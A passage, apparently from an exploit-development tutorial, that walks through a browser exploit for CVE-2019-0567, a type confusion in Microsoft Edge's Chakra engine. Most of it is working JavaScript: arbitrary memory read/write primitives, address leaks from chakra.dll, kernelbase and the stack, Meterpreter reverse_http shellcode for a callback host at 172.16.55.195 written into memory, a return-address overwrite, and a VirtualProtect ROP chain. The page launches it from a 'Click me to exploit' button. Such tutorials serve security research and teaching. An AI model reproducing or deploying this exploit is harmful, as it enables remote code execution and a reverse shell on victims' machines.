    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // Counter
    let countMe = 0;

    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }

    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// alert() for debugging
	alert("DEBUG");

	// Corrupt the return address to control RIP with 0x4141414141414141
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);
}
</script>

As we can clearly, see, we use our write primitive to write 1 QWORD at a time our shellcode (this is why we have countMe+=0x8;. Let’s run our exploit, the same way we have been doing. When we run this exploit, an alert dialogue should occur just before the stack address is overwritten. When the alert dialogue occurs, we can debug the content process (we have already seen how to find this process via Process Hacker, so I won’t continually repeat this).

After our exploit has ran, we can then examine where our shellcode should have been written to: chakra_base + 0x74b000.

If we cross reference the disassembly here with the Metasploit Framework we can see that Metasploit staged-payloads will use the following stub to start execution.

As we can see, our injected shellcode and the Meterpreter shellcode both start with cld instruction to flush any flags and a stack alignment routine which ensure the stack is 10-byte aligned (Windows __fastcall requires this). We can now safely assume our shellcode was written properly to the .data section of chakra.dll within the content process.

Now that we have our payload, which we will execute at the end of our exploit, we can begin the exploitation process by starting with our “final” ROP chain.

VirtualProtect ROP Chain

Let me caveat this section by saying this ROP chain we are about to develop will not be executed until the end of our exploit. However, it will be a moving part of our exploit going forward so we will go ahead and “knock it out now”.

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // Counter
    let countMe = 0;

    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }

    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();

	// Store where our ROP chain begins
	ropBegin = countMe;

	// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain
	countMe += 0x50;

	// VirtualProtect() ROP chain (will be called in the JIT process)
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x72E128, chakraHigh);         // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x74e030, chakraHigh);         // PDWORD lpflOldProtect (any writable address -> Eventually placed in R9)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0xf6270, chakraHigh);          // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetOne = countMe;

    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1d2c9, chakraHigh);          // 0x18001d2c9: pop rdx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00001000, 0x00000000);                // SIZE_T dwSize (0x1000)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000040, 0x00000000);                // DWORD flNewProtect (PAGE_EXECUTE_READWRITE)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, kernelbaseLo+0x61700, kernelbaseHigh);  // KERNELBASE!VirtualProtect
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x272beb, chakraHigh);         // 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x118b9, chakraHigh);          // 0x1800118b9: add rsp, 0x18 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetTwo = countMe;

